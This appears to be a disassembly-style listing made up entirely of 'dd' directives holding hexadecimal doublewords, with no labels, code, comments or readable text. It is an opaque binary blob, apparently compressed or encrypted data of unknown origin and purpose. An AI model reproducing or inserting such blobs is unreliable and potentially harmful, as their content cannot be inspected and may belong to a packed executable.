		dd 0FEB0A00Ch, 77270396h, 20E97505h, 0D3B12000h, 0A17DEDF1h
		dd 3C4F01CEh, 263A7A6Eh, 0D9CC48DEh, 0E292DA00h, 3FACF09h
		dd 2C760079h, 22637894h, 61002902h, 536581FBh, 709CF9h
		dd 569ACA0Bh, 0BD11AAA7h, 2FD5AF1Ch, 0E695F582h, 8E8FE077h
		dd 1BA61D61h, 91E4ECh, 0C87D15C2h, 0D3024D11h, 7EDEBACCh
		dd 1A9940E8h, 3CD707BEh, 0C0B1E9AFh, 0D52E8E54h, 62EE3306h
		dd 6155C0h, 34D75AF9h, 9B4A6BD3h, 82AD433h, 0E02100F1h
		dd 7835D783h, 0AF7D6EF0h, 5A893A00h, 3CD31966h,	60ED66B3h
		dd 1A0E3158h, 60DAFCA8h, 0FAA5A1F0h, 3F1101C7h,	0D9F68258h
		dd 0F5288059h, 0C2759538h, 2A4A07BDh, 46529456h, 0DA0021F1h
		dd 0A7CB9530h, 49FF09h,	3179C1F2h, 4C5777D6h, 2E8BBEA0h
		dd 0D4608770h, 8C355978h, 672D015Dh, 6E56BC5Ah,	3608986Ah
		dd 3359F8h, 0D01F5B44h,	964A896Bh, 0B9DFFE30h, 0E0B5C1h
		dd 0DB621184h, 7397BB87h, 75451900h, 28498DE8h,	4049C138h
		dd 8C5F4892h, 0F95EBD38h, 0AB0B0022h, 0F33CFE47h, 0F401A112h
		dd 0F0582482h, 80EA5281h, 0C19C084h, 0DB9D1C0Dh, 70E9C05Bh
		dd 91C405BAh, 543D5DF4h, 6E00778Ch, 0F39A4602h,	0C787F2h
		dd 50355F3Fh, 11E30DE7h, 0BDA8BE00h, 99161995h,	2D6A00E5h
		dd 87784398h, 0D8769127h, 26D46D00h, 0E3417E38h, 68950006h
		dd 0ED6ECA61h, 0B00FC5Dh, 2CA17FAFh, 0FD4CD58h,	13C52493h
		dd 0C8DD0783h, 0F645B8D8h, 0F7F823F0h, 0DE034CF8h, 0BFF8091Bh
		dd 0D8EEA00Ch, 0A230006Eh, 0CF17C235h, 466683BDh, 7C21FD08h
		dd 0ABA2074Ch, 0E3064827h, 18000DC2h, 0F81C6A0Eh, 3E96DC1h
		dd 0E3DF9A9Fh, 0DC8167Eh, 180C0ED7h, 4944A00Bh,	0A96C007Ah
		dd 0FFB2CD57h, 5F037342h, 14AED3DCh, 0E1E2B066h, 0DDE324Dh
		dd 0E461B831h, 1FF5D051h, 6B4AA500h, 170D22E9h,	0E9C3043h
		dd 0C9B4F828h, 8AC0D203h, 8E59ECEDh, 0C00F5A08h, 0C9BCDAFEh
		dd 3D104200h, 718EBA20h, 9484A004h, 0F2D00257h,	235F0BF8h
		dd 313FFC40h, 0E96C2200h, 5201CEC3h, 0A11405F2h, 80E462D5h
		dd 7BE1DDA8h, 47027500h, 1BC65530h, 5BBA0049h, 2D7CCB32h
		dd 0D50B71C4h, 80411084h, 0C34F4D75h, 0DD59000Ch, 26B88F6Dh
		dd 51E6403Ch, 4D6BFE00h, 998271D5h, 0E48905DEh,	0C0B79E37h
		dd 2174350Dh, 70B88100h, 821CB648h, 5106003Dh, 35ACE26Ah
		dd 52009AF5h, 386EC97Fh, 0D6265Ah, 5B0EE32Ah, 29CF435Dh
		dd 4B6CFA1Fh, 0BE68E201h, 0EFF0A628h, 12EB7C27h, 31B24A2h
		dd 7321203Eh, 0F5E09F98h, 75B6CE07h, 74278367h,	20FC1F47h
		dd 0E798015Eh, 6035274Fh, 28A0ECEAh, 2BC9D201h,	47308B5Ah
		dd 18782DCh, 1E4ED570h,	0C073B6B4h, 911C6ABh, 8C104604h
		dd 1796EDCh, 4CC3EA23h,	0B76A4080h, 1E4D7197h, 0F9200A06h
		dd 29232Bh, 522EB8C0h, 5C665ABh, 815A133h, 6221001Ah, 32912EAEh
		dd 0C501A331h, 0B7409A7Fh, 50836333h, 1AEFA23Fh, 0EE18838h
		dd 106D0896h, 0E55ED300h, 0C67440ACh, 45E9D619h, 2187BE08h
		dd 10E557ADh, 83085AF0h, 0C7D62ECh, 9B97722Eh, 0AB1E4C00h
		dd 38F45EE1h, 0D6817F10h, 0CC09FE64h, 9516CCC0h, 39EA0A00h
		dd 6602B48h, 61A84C9Dh,	0C0F3031Ch, 0C0FC80CCh,	0F1003B24h
		dd 98464DBh, 0C0E9E497h, 87667206h, 11007FABh, 0E0F3E832h
		dd 175004h, 0E5AF05DCh,	74D3EED0h, 0B7F45800h, 60B8AE47h
		dd 0C6D100E2h, 1A0D335Ah, 9D011929h, 4C79A1ADh,	27F8B149h
		dd 0BC5900F3h, 1666CBD8h, 4400A3C9h, 53CA975h, 39FA03h
		dd 7B990654h, 9A5DB8E5h, 0FFC62000h, 0F281846Fh, 0F17D39h
		dd 6551B25Bh, 462DC99Bh, 804CB93Bh, 0C3529C3Eh,	316E0E9h
		dd 0EBEDC69Ah, 0C1A83AA8h, 3400C0E2h, 366E851Bh, 7B8FDh
		dd 4638D4C2h, 7D798887h, 81C75800h, 3F852C44h, 0B0D31F65h
		dd 2EC2C7A3h, 0E860E02Ah, 0DE13C986h, 52019B6Fh, 7226BFC8h
		dd 0A515F0CBh, 0F02903D5h, 0C643E631h, 80A03BD3h, 0DBE2B7FBh
		dd 4D66C100h, 1048D71Fh, 8971D7Dh, 8C310993h, 11CF1300h
		dd 3001799h, 6C20CE4Bh,	37AB368Eh, 0B138917Eh, 0E9C53051h
		dd 3007F374h, 19FE7549h, 0E63E76A7h, 0D983F80h,	0B843ACF3h
		dd 0CA97E4B8h, 0D4794A0h, 22CEC624h, 0F301AF01h, 7F207A15h
		dd 13B00CEEh, 8D687850h, 4975E200h, 0B76B2F77h,	6EF30F6Ah
		dd 0A01A2B8h, 30B33597h, 6C032B43h, 0C8F1E7D8h,	0D359E833h
		dd 33F7F6D7h, 5C08DFA9h, 5692100h, 4F359501h, 28F0E6h
		dd 2E3EBDF4h, 9B7D540Eh, 8F34C500h, 0F7AA0211h,	0A34F00BEh
		dd 0B88A2219h, 0B60071C2h, 52B6641h, 0D828F4DEh, 895F2E58h
		dd 36088601h, 3FAE734Bh, 21BD07D1h, 0CA5F7C00h,	0BF5022DEh
		dd 48C0BA98h, 0E7D20BBCh, 22B2967h, 5F010028h, 3FA08674h
		dd 4F044486h, 0F45F5B00h, 0F89EBA8h, 6DEE060Bh,	0E970E242h
		dd 0AD11280Eh, 8366870Ah, 84120E00h, 639F0CF3h,	4748F04Ah
		dd 390D5000h, 168F73E4h, 8D373A6Bh, 0A6214930h,	9B000D59h
		dd 0A1E0C581h, 0C965466h, 1DAEC097h, 0EE2A2DC0h, 4B24A418h
		dd 4F0F3B11h, 5ADE03A5h, 0EA900334h, 0C325FE6h,	75782900h
		dd 5B8D05B4h
		dd 4B2B1917h, 87FC088Ah, 0B47D9221h, 0F3852670h, 75C63B27h
		dd 0B9120F00h, 1C2F36B7h, 0BDDF1F00h, 0BC858E33h, 7419004Dh
		dd 0B5B2AE93h, 62000DACh, 59CED7F5h, 0A6DA97h, 0B38C5D9Eh
		dd 0D6505FD5h, 0C403A0Bh, 0BAFE02CDh, 0B4E66024h, 25863B65h
		dd 0D7E96781h, 0F0DF852Dh, 18C0648Fh, 0B71E159Ch, 71BD00ABh
		dd 0DBD9EC43h, 2900F0CCh, 5ABA4C97h, 1EFF76C7h,	3C4B85E1h
		dd 1B7D838Dh, 61C6C340h, 0F5C62601h, 0F336A029h, 0EF10BE0h
		dd 64012376h, 0A6925EA0h, 0E8015BFAh, 60AD8071h, 0AFCC8DB9h
		dd 0EED41877h, 0D7641046h, 0D080343Eh, 0E5008150h, 0AF06F750h
		dd 3ADF98Ah, 11ED2C3Fh,	2C84C61h, 0CF000321h, 7573250Ah
		dd 30D6365Ah, 2941518Bh, 0C328ED79h, 0E907A7C5h, 355C5BDDh
		dd 4381B980h, 42840138h, 48CF0B26h, 0D497D59Fh,	0CA71D8CDh
		dd 0B8BA4A00h, 0B5062756h, 4961C744h, 7AD3703Dh, 0BD2C8223h
		dd 0E8311F01h, 6FEC39F6h, 0DC4C0029h, 0B32423E3h, 74002632h
		dd 378D949Dh, 0C7A472h,	917D4CF9h, 49EA2246h, 11336D01h
		dd 1ABAC8E6h, 79AAD0F7h, 1E3590AEh, 707AD2B0h, 95D0C150h
		dd 60EE19FAh, 0EBC6CD1Fh, 0E182EE00h, 0F659A3C5h, 0C00801F2h
		dd 0D73015DBh, 0DFD8DFF7h, 853A846Bh, 57A03B0h,	13C1F93Ah
		dd 0AA5F38h, 0AB28AF21h, 0C560C617h, 0F8DB7A90h, 8AE900E8h
		dd 0AEAFD2Bh, 0D93C62EFh, 2E30089h, 3307E1A8h, 6D703099h
		dd 187654A0h, 0CB581700h, 0F0ED3B43h, 0E451076Ah, 80E59649h
		dd 0A9BF7BDAh, 0D0E14232h, 0ABABC0D6h, 0A0EC7F0Bh, 9448798h
		dd 3E13E4DBh, 88050700h, 56050B2Bh, 8C6D23EFh, 0ADA79DC0h
		dd 0A83600B6h, 0E9AF351Dh, 9E7AE718h, 0B807A171h, 85161CE4h
		dd 0C8FA69D0h, 0DF460013h, 6E15A003h, 800E4A6h,	0F72AB962h
		dd 1ACF4Ch, 0F3586316h,	0AC41A1A0h, 0B3CAF80Eh,	0A41EE078h
		dd 6F9DF0h, 19F72FB9h, 1F09EA66h, 105CA518h, 7AC148h, 0AFADB47h
		dd 4C379F27h, 58B73400h, 7D9003A9h, 43AB0C20h, 0EE20FF06h
		dd 1AF3F700h, 789CAF6h,	0B696013Dh, 8CAE7D1Dh, 8378B8B9h
		dd 3C9C9539h, 0E71100B8h, 0D3CCD483h, 623018C1h, 0FD9D197Ah
		dd 28A46007h, 6C264022h, 103B70Dh, 5F0D00Bh, 0A0CFE23Fh
		dd 78EB3BDDh, 48E64835h, 6B1F8F00h, 0ED21A446h,	33EC7000h
		dd 30D558Bh, 34950080h,	8D6D0C2Fh, 0AA009845h, 35A839B1h
		dd 1A951B9h, 0C8A5A140h, 0EC8448F1h, 50F029C6h,	1D0EC4E8h
		dd 80B9472Eh, 0D6FC118Bh, 309F00EEh, 4E7BD819h,	0C6008A16h
		dd 2E5D2D35h, 0EF2C4AD0h, 0C02F88F0h, 94CEFB40h, 64F68726h
		dd 0F2001176h, 0F798AD48h, 20FC79Bh, 6BCFE6AAh,	0B0089ABh
		dd 3E8DE27Fh, 2C0F7E72h, 0A7E343B0h, 20009EACh,	0F4A89296h
		dd 7638A60Fh, 0F58C0032h, 2C449A5h, 8300458Ah, 93B39030h
		dd 325609h, 237D73C5h, 8B192AD7h, 0F45BC618h, 189BC408h
		dd 1928ABE0h, 8E1FF63Bh, 4D8434F9h, 0D3C2C4C5h,	0A8480CFh
		dd 3BA9A067h, 3A187E71h, 0E812402Ch, 20F9250Ch,	1B7950h
		dd 32708A71h, 0BB18C4CEh, 0DA476E00h, 4CD022C3h, 71360C31h
		dd 427076A5h, 0C2140314h, 16314B0h, 268A8424h, 0B8038902h
		dd 982AAE40h, 31E45E32h, 886880DEh, 35BDA41h, 83D9E7ECh
		dd 37B07F16h, 3454947Ch, 5700CAE4h, 0EF69E84h, 768AE3Bh
		dd 732E03Eh, 0C76E2004h, 0D614380Dh, 7F8A9E8h, 0F0141CF4h
		dd 1F0F7ED1h, 6074F185h, 0C5E840FDh, 6AD80BDFh,	0C6FC41E5h
		dd 107621A4h, 0B5AC6198h, 0C26D9103h, 0B0058E14h, 56E4A2Bh
		dd 67460CD0h, 0B1A808Fh, 3207943Ch, 0A5147CAEh,	6B8873C0h
		dd 31ED00AAh, 342CC81Ah, 530076E4h, 38C42E7h, 0EADE7164h
		dd 0D0740430h, 0C09BE53Ch, 0BE43821h, 61F41E5Ch, 4E36FC28h
		dd 0AF418E00h, 0A429B000h, 587625F4h, 98DD2E81h, 6D1E01B8h
		dd 0F008E7BAh, 0B96FA5C8h, 21668150h, 0AFF09EF9h, 841B1488h
		dd 0A1008827h, 0C60A509Bh, 35718B1Eh, 904DEE28h, 0B851952Ah
		dd 0CAA46600h, 42F254FBh, 3AE60097h, 0CB9817F7h, 98A043EAh
		dd 5E002824h, 96B5E104h, 908667h, 0B72A565Bh, 7D956374h
		dd 47D2C214h, 8F2714B8h, 3CC500B4h, 0BECFF56Fh,	8CDA00DEh
		dd 0B9D30502h, 0EF03A322h, 0EB837B3Dh, 0EC01C7EDh, 0E9787E9h
		dd 57EF02B8h, 0EE0420Eh, 6800BCFDh, 872DB9D5h, 1B34BE7Ah
		dd 28A33C1Fh, 0CD78E4E0h, 2D083F00h, 15CA76D1h,	81170256h
		dd 0B2F32405h, 49A31800h, 0D4EB00E2h, 76C5AD84h, 7801F846h
		dd 186320A2h, 0CFC8081h, 0A9FC0333h, 8FBE02Ah, 52314A0h
		dd 87D29300h, 56BC9A29h, 0D0510033h, 4D2E3ABDh,	0E118390Ah
		dd 0B9901823h, 0AA0B3DAFh, 611F3780h, 8287C309h, 7221FA00h
		dd 0E0A1E9BBh, 7BB88Bh,	6005EF1Ch, 175394EAh, 0CA753900h
		dd 81162CE9h, 0C46C1D9Dh, 0A50ABAF0h, 330298Ah,	4559D3C6h
		dd 0A7821000h, 960CF644h, 7A9A00EBh, 0B9D674F5h, 0FA00802Bh
		dd 0AB5AF953h, 5F2CE7h,	0EC5891CEh, 0E4F8D9A4h,	8E091400h
		dd 738475EAh, 69120044h, 389ECBACh, 9F012067h, 0EAD4FAFFh
		dd 188EAB89h, 0FDD757h,	88CFA729h, 0BD00B33Eh, 0F675EF9Fh
		dd 78A877Ch, 0F13F6925h, 21B94626h, 0F67EC11Ch,	90185A80h
		dd 73BE4Dh, 9896420Dh, 0BA845F94h, 80865938h, 8F9EC775h
		dd 0E4BDA7h, 3B210719h,	63C86284h, 0C085040h, 0A1617786h
		dd 9300FF29h, 0FCE95166h, 6681DB0Fh, 21B708F3h,	6DEC5F00h
		dd 80393F51h, 43FA185Ah, 130AD0B0h, 0FE9DE600h,	674954BFh
		dd 8278ACh, 10E356AFh, 0FFCB051Bh, 5D420600h, 601D18BEh
		dd 0B6B50034h, 1914C34Fh, 0A700AA6Dh, 64F24C3Ch, 0FA97207Ch
		dd 7FC1F94h, 0BEFE40EAh, 0E5431905h, 0FB60DAE7h, 5F0046B7h
		dd 0EA373A4Eh, 6006682Eh, 61767E78h, 1E00F14Ah,	0C72AA06Ch
		dd 3CE925h, 3B470695h, 0E791A1BDh, 625C38h, 0DEA2118Fh
		dd 74765Bh, 46905306h, 9BEAC69Ch, 45645400h, 0BF8A82C4h
		dd 45278ECh, 0AE76F2E8h, 5E7E8146h, 0ACCEFCEFh,	0EC39D600h
		dd 5FC82347h, 3F0B008Eh, 62FA67C1h, 8D1CC6EBh, 0F3406C60h
		dd 0EF443675h, 0C9200065h, 73E59D9Fh, 9A90BA4Dh, 0C0FEF0F5h
		dd 4C6A50Fh, 0A67802Fh,	0F83881B1h, 51E68Bh, 0DD2B580Bh
		dd 47557CFh, 9EC8B628h,	0E8A04100h, 5B779991h, 0F71005Dh
		dd 4A3AE2Fh, 0BB00D147h, 26A6F319h, 1FC64EA4h, 8020163Ch
		dd 0C1CDFE56h, 0FF00906Ch, 621A662Ah, 7995A8h, 15520B59h
		dd 36C192ADh, 0E14B9B01h, 18102455h, 0BD85BD4h,	4550E6D6h
		dd 9EBE0E00h, 0DA004064h, 0DE6F05CEh, 46B887h, 0D3C3BB6Eh
		dd 3A023D34h, 6BA0E401h, 500E243Ch, 47FAB440h, 21E50133h
		dd 0C0FF7A44h, 8CC2C096h, 0D1A8500h, 0A049BF60h, 0F34807B8h
		dd 10C8CBA1h, 0E5E18F9Ah, 4C151F0Eh, 0E672E083h, 9CA440h
		dd 81F8AC60h, 2E425C77h, 18B5C13Bh, 0E4706ED3h,	0BA5F1D67h
		dd 6D51C0E8h, 0E97901EDh, 7B0BB200h, 3626FE50h,	3F13005Dh
		dd 5BA00747h, 0AB099420h, 201C88C9h, 505A7408h,	86801887h
		dd 0CF8B506Bh, 0EB00EDF0h, 1E6D480Ah, 13640E34h, 7E57D68h
		dd 50BD6F1Bh, 6E3A3366h, 9FF30A00h, 27629D01h, 0CB370050h
		dd 7B565D8Ch, 3A029A02h, 25095342h, 71EA60C2h, 55D30E83h
		dd 0C7801281h, 0BD54E622h, 7C0022B8h, 788C05A0h, 1B68D31h
		dd 0F90D7F4Eh, 0C72CD3F7h, 24A0C3E0h, 87FB4500h, 0B92B74C7h
		dd 0DCE203E6h
		dd 0B32D066Dh, 0CBC2F8D8h, 7A698800h, 9C41EFE8h, 1FF20F0Ch
		dd 0AD407017h, 6972766Ch, 19BF0D00h, 5359DB35h,	0E19E0952h
		dd 498073C3h, 0E8553D4Dh, 0AC1BA8A0h, 39044501h, 0ED639EB0h
		dd 7C6B51F8h, 94BB008Dh, 0EF0169Ah, 8902489Ch, 0C617E67Ah
		dd 35D48751h, 1EF6CA40h, 740100A2h, 8AE6E004h, 0ECF63942h
		dd 5DF8B4A0h, 28A56512h, 1FEF9800h, 1E7356Ch, 18429168h
		dd 4017E48Bh, 0AF32B9E4h, 2A0CE100h, 0F37729ECh, 1C9E12CFh
		dd 911C00B7h, 172F85A2h, 56FCC205h, 4FC7A4B4h, 6420330h
		dd 9C11078Bh, 9099880Dh, 0DA5FE1E0h, 7D5CA900h,	0A2FB17F2h
		dd 72CC0964h, 14828E9Ah, 0A4A07CECh, 4851C5B7h,	28104430h
		dd 3640975h, 0DA0B93E0h, 0C100D0F3h, 6CC04997h,	56DF8Ch
		dd 0E83C87D3h, 3D8B735Eh, 7744BC00h, 20231257h,	509216h
		dd 0E24FCC1Bh, 75B35E65h, 66196B60h, 72F1DA69h,	0A9D8E162h
		dd 3570C0E7h, 0D5EE6FF8h, 51C7900h, 5903D376h, 497494h
		dd 4A3CA1DEh, 0D695E783h, 469EEF00h, 80E5EB17h,	0BE0C03DBh
		dd 362BDAEEh, 68D855F3h, 2500843Eh, 7E3FE4D0h, 0B54A23h
		dd 0C5F50BA2h, 0DE17150h, 6AAA2700h, 13F833EBh,	0E9441DC4h
		dd 63B500BAh, 0CCD4010Ah, 92790716h, 80B00309h,	0E7C3ECF4h
		dd 0BEBC3E0Ch, 0A0ED3D87h, 330B5072h, 17000465h, 60B747AAh
		dd 0AD48E0h, 27EC71C3h,	44A01CEBh, 0CA156D00h, 1B7752A6h
		dd 57651C6Bh, 0BD73C0F6h, 1C065B2Ah, 0B6E56900h, 0E3BE8A86h
		dd 87F90023h, 458C33A0h, 0B1077CB9h, 468866B2h,	69A88329h
		dd 64B491ADh, 0E19F5080h, 0D6856E6h, 1F80700Eh,	0EA1C603Ah
		dd 78DE0577h, 0E891DCEh, 2E2FC3EEh, 44E8E28Eh, 5E038DE7h
		dd 0D62A11EBh, 368AC0DAh, 1382006Ah, 68DD9D33h,	0C5749857h
		dd 86A5D400h, 6184CFD3h, 22EC1Ch, 1F52BF2Ah, 5ECA9450h
		dd 0BC8E3700h, 3FB2A062h, 101D02D0h, 858AC41Eh,	9B891B40h
		dd 4DD6C800h, 0E93C189Ch, 1F390F37h, 27800EC1h,	7B7FBD11h
		dd 0ACA35B01h, 5798B6FEh, 0F5381C22h, 0DDE35A00h, 0AB47EF60h
		dd 74E1BE26h, 2138980h,	2A891D9h, 4B398ED8h, 0E0406DDDh
		dd 198056BFh, 15FF03A7h, 0EEC71D3Eh, 9A8C3800h,	9106469Ch
		dd 0D988008Bh, 0BD347292h, 1F799608h, 80ADB13Bh, 4DDF5841h
		dd 62061368h, 5262586Ch, 0ECA53800h, 2D098C14h,	204AAF13h
		dd 62DE0194h, 0D6A0792h, 20DC16h, 4C1998E5h, 86B439h, 3F8D15ABh
		dd 2ECF50h, 954B9639h, 38A66F1Dh, 801E063Fh, 0D55E5ABEh
		dd 0DECA89h, 0D007C323h, 7C0B7FE2h, 26F7D609h, 93F890A1h
		dd 55860051h, 7AD2E46Fh, 0CA701496h, 0A60BBE00h, 4335937Bh
		dd 0F4A10016h, 0BAC076D6h, 0E20CBCCBh, 48A80BB6h, 45A52C49h
		dd 40FD1234h, 0F2D75AE0h, 0DF0035C1h, 0BFF92E22h, 32D3C7BAh
		dd 7540B223h, 87A95041h, 22CCD540h, 1152802Fh, 555839h
		dd 2C2B2866h, 7064AC44h, 5017AA30h, 0D0AEECh, 5265673Ch
		dd 9AA3B798h, 0B4E17913h, 2FCD09h, 0C29F3E5Eh, 24DD00B6h
		dd 1252E2CAh, 0A0004055h, 0DC06D46Eh, 4D5FD979h, 8C008C9Eh
		dd 0D1B4FD94h, 182C3E89h, 0AF9D287Ch, 0ACAB0D40h, 0FDFA82Bh
		dd 0D6C41DF6h, 22729160h, 57268E60h, 39600C0h, 2AE14430h
		dd 901F0BCAh, 90A0066Eh, 21FEFF1Ah, 8875E00h, 44F482B2h
		dd 41B76016h, 0F83D857Eh, 0F0908B2Ch, 0D1B39983h, 7330D8A5h
		dd 0C50600ABh, 0E88C1262h, 0F008D5Bh, 882C777Ch, 19F1D7Bh
		dd 0CB2DFCE7h, 0F9C3F9DCh, 0E3D670EAh, 7FB4E909h, 5A240017h
		dd 0F60498h, 0BA2DAC0Dh, 6FDE9CA7h, 0FF00CF79h,	0E03CCB76h
		dd 1C2CAB0Ch, 40437BE5h, 11F656Ch, 82001A53h, 7383F3C4h
		dd 700F0636h, 0D6CB004Ch, 29B37B79h, 7C3FC8B8h,	0A2D807C5h
		dd 0A55E116h, 466CB400h, 1C098BB3h, 0C07AFA05h,	3F84F5F3h
		dd 0DA0059A0h, 97132202h, 0F171A3h, 0C98805EDh,	0C1FA1AE1h
		dd 0C256F500h, 4FCB20D4h, 7E84AEAEh, 64500A9h, 81B72BB5h
		dd 0B901A76Ch, 43C52E82h, 4C205D79h, 0F3A83557h, 87E40128h
		dd 31DC279Dh, 0D0DD0404h, 0C8A352E4h, 3726C000h, 46F97667h
		dd 32211FA6h, 0BC12D0h,	0B922CABCh, 1C00309Bh, 0FCCDBFFAh
		dd 7DB3D3Eh, 0DF2D674Eh, 802880C4h, 5B008A7Ch, 420EC0B2h
		dd 5082561Dh, 12D4C415h, 361204h, 0E6E535A4h, 870E559Bh
		dd 0E0C63E4Dh, 0E1E7C2BCh, 0A4220374h, 20B3B05Dh, 64AA6491h
		dd 681FACC0h, 7383B856h, 0B23CCFC5h, 0D7F8E9BDh, 0F5E9430h
		dd 56B9E0A5h, 0DA3DAA41h, 0F25453F9h, 9EFDD5E0h, 7FF8D00h
		dd 4C2075A6h, 64008C47h, 4AE5C731h, 743342h, 0CC09234Dh
		dd 3079ED3Fh, 40B80809h, 0C2942044h, 3594DCh, 558E0FA3h
		dd 0F6114A79h, 63EF300h, 37CC864Bh, 399A3BEDh, 0B72FBF07h
		dd 7B53C0DBh, 68015106h, 8D473345h, 13F3176h, 0F17E1841h
		dd 81D0DFEBh, 0A01F3E13h, 0C5C02896h, 585FEE1Bh, 0CB2100DBh
		dd 4E9971E3h, 0D60486DEh, 0A0C8FC37h, 3E0000A6h, 158371F2h
		dd 3C040A88h, 758FA98Ah, 0BCE888h, 80C9B919h, 9ED6D9FFh
		dd 5E02EE15h, 620809ACh, 1E4025CCh, 1D3F108Ah, 0CE457B84h
		dd 915080ADh, 924844F3h, 0F5B7078Eh, 474FBE1Ch,	9029810Dh
		dd 2428070Ch, 57F8F0h, 0DC9AF236h, 5009DF0Ah, 17B4D46h
		dd 9E1623E5h, 9AE81434h, 0C8EE50h, 70DDBA1Ah, 51F98DB2h
		dd 192EF760h, 1F8AF6FCh, 0C0BEACE3h, 0C94D4038h, 67004C2Dh
		dd 3E5B96AEh, 94B88174h, 0C8803E38h, 4CF37FDh, 5F26434Eh
		dd 0B7001022h, 0CA9611D7h, 0FE981E89h, 0E6BD4EDDh, 6474DC0h
		dd 0B8F268CEh, 3905C07Eh, 67D98210h, 0CD4130D0h, 0D7E3006Fh
		dd 63BB434Fh, 3A481E30h, 247E00F8h, 0DE1A2C98h,	0BE770047h
		dd 0AC54996Bh, 730074AFh, 19C4E8B6h, 3A4B0D1Fh,	0C1004236h
		dd 0A4FA800Fh, 7600F86Ah, 7C48AEC6h, 0B8FB55h, 31F16BF9h
		dd 0FA8DE9A9h, 0B7ED8901h, 0EBA88CF4h, 25B9C4h,	1A78A196h
		dd 51DCAA71h, 0A964D309h, 0A4728055h, 4BC38Ch, 0AA122BC2h
		dd 80085A29h, 10A9EE1Eh, 2E216480h, 0FF7FC9h, 0ED75D3A0h
		dd 0FDA9B4Ch, 1708BF05h, 84976AA8h, 60262AE2h, 1E5B664Fh
		dd 80C35FA4h, 4E5A17FAh, 4B0C7BACh, 3873F885h, 543700D3h
		dd 282419DDh, 0A4FE1425h, 0B3758900h, 96BFAF34h, 0AB683F0Dh
		dd 84448624h, 0A07CE7D0h, 8E0057DCh, 482BF159h,	14F6C161h
		dd 100F40A3h, 4476D100h, 617BB3F1h, 4203F30Eh, 0E78C8054h
		dd 9653C805h, 39121D60h, 15F921Ch, 9D1A63E1h, 0F310403Ah
		dd 6D01420Bh, 0B72A582Bh, 74C0EFB2h, 0A8E10004h, 8BB1B50Ch
		dd 38CF6213h, 0BB0A1152h, 808C3B87h, 54F4D81Dh,	28145A57h
		dd 376877AAh, 0CD13806h, 0DB798Eh, 0C9DEEF31h, 0E02AAEEEh
		dd 3278F700h, 40B2F6E2h, 0EF70A0DCh, 498D6158h,	0C01B7A12h
		dd 9903DC41h, 560D8B9Fh, 44A6A009h, 94620069h, 0E0A80F2Bh
		dd 0AD00BED3h, 8B715386h, 58FDC48Ch, 2C00A314h,	1304FB7h
		dd 941FF1B4h, 0DB0C2BA3h, 3AB19969h, 79935Ah, 9BB3EB3Fh
		dd 0D574C70Ah, 0D08A52h, 6A54F9BAh, 60892E6Bh, 479D1885h
		dd 49063DC3h, 0BD0D949Ah, 16B826C1h, 5B050519h,	76C1614h
		dd 707E5119h, 0ED1F6661h, 0BB6C1500h, 0D93789F6h, 782095Eh
		dd 0A6009876h, 742FEDE4h, 0B7A94B00h, 3F4A2937h, 136B0969h
		dd 0F880B579h, 0F08C9989h, 290041F0h, 0A985E1FBh, 28ED04F5h
		dd 24D85591h
		dd 3F0DD247h, 4DDF308Fh, 0F92FF8E0h, 0E90F6A11h, 817AE8E6h
		dd 9FD6B68h, 91735E8h, 0FAF75A15h, 98E90100h, 487A7751h
		dd 0A9C87300h, 0A5B6F535h, 574E0A31h, 0D9233Ah,	0B3790DD7h
		dd 1000B724h, 91FF1160h, 0E183D29h, 979028D8h, 5B6E12A0h
		dd 0EF009BDFh, 693B1E34h, 1CCF6338h, 9FF8B5D2h,	8D500E3h
		dd 22A231A7h, 0B6F20A7Ch, 7A4D18C3h, 2DB8E1A1h,	63D941E8h
		dd 92E1032h, 0F8615080h, 96352007h, 8E464D71h, 0FC430031h
		dd 769762E1h, 250FCAF6h, 33FD36h, 55EBC1D4h, 0A028607Bh
		dd 7431BCFFh, 10C1A875h, 8EFA7058h, 11C22881h, 0D96F1032h
		dd 0C3BFE0D5h, 871D1E01h, 0A7CFAE3Ah, 0B319B941h, 0F00EC4h
		dd 33AA1C7Bh, 0E0752F9Bh, 0F62BD700h, 5C91EB71h, 628A0085h
		dd 0C23A9CEFh, 38019A90h, 0CA448D8Fh, 0F760976Bh, 2F1300FFh
		dd 0D40206Ah, 0A903257Dh, 14378A90h, 1C8BF0E6h,	1F71006Ch
		dd 3880018Fh, 0B812390Fh, 0DB03585Ch, 0C853A76Ah, 0ACA87h
		dd 7C02C705h, 9B834577h, 9906F416h, 0B6B0B000h,	70AE929Fh
		dd 0DF6000E4h, 0A08ACDEEh, 0B2069476h, 8B878905h, 70048710h
		dd 0A76098BAh, 0AD9CB410h, 92172820h, 33A8039Ah, 0BE6B158Ch
		dd 0C9EE95F0h, 8D616700h, 2B020955h, 0E96E0059h, 44217F9Ch
		dd 0B612DF5Ah, 0E900A87Ah, 936488D2h, 1BDFCC2h,	5EAE230h
		dd 0EB1B7C65h, 0A813E5E0h, 24F2C800h, 68836729h, 60691270h
		dd 2129009Fh, 0B7A620CEh, 9ADB1303h, 80F83CBDh,	0B4B133h
		dd 7B3D7F4Ah, 517CC634h, 5E8C9700h, 0F07106BDh,	0D749000Fh
		dd 74DCDAECh, 0E31F759Fh, 6940FF37h, 0D3600A28h, 1037439h
		dd 56BE4288h, 0C82E37B3h, 9202A9A0h, 0CBCA2A8h,	241E07Bh
		dd 58CC1C40h, 0DD0100AEh, 95F4F3ECh, 0A50091ECh, 2FBE30F1h
		dd 999B46h, 0F07D34D7h,	0BFBBB16Ah, 0D8C5A702h,	879A25F7h
		dd 69003AB8h, 5B44B6h, 34B42D09h, 8DD778FDh, 0E0273F1Fh
		dd 4CC0E1DDh, 0E8F83586h, 4793023Bh, 0AF459781h, 5282DCA0h
		dd 0A3002D16h, 0BD276C72h, 0F3A8EC4h, 0D807D7DDh, 8178BA03h
		dd 525813E0h, 2AF26A00h, 0B01DE495h, 0E4D79022h, 0B890C2h
		dd 501E7821h, 0C10C99CCh, 83EA8E00h, 4D0EE816h,	0B5B70048h
		dd 0F772E124h, 100E227h, 0ECC0534Bh, 0F287B4BCh, 600D0E31h
		dd 0AC201ACCh, 3C5A3454h, 0ABE40517h, 71E85F00h, 0E7A87Eh
		dd 0E3D9C81Ch, 0A68F6F0Bh, 2BF48575h, 0AAD06003h, 93870A04h
		dd 406188BAh, 97740E26h, 3A018F39h, 40530803h, 0E1FEAD80h
		dd 0D400F570h, 0F607C264h, 0B844781Dh, 0CD0A0070h, 25C7B15Dh
		dd 0DB00FDF0h, 0B04323A9h, 74776AEFh, 0A18A1DF7h, 0C3B6C04Fh
		dd 0B44CDED9h, 52A5F600h, 26565CEDh, 0CEC504E6h, 0C04A9B6Bh
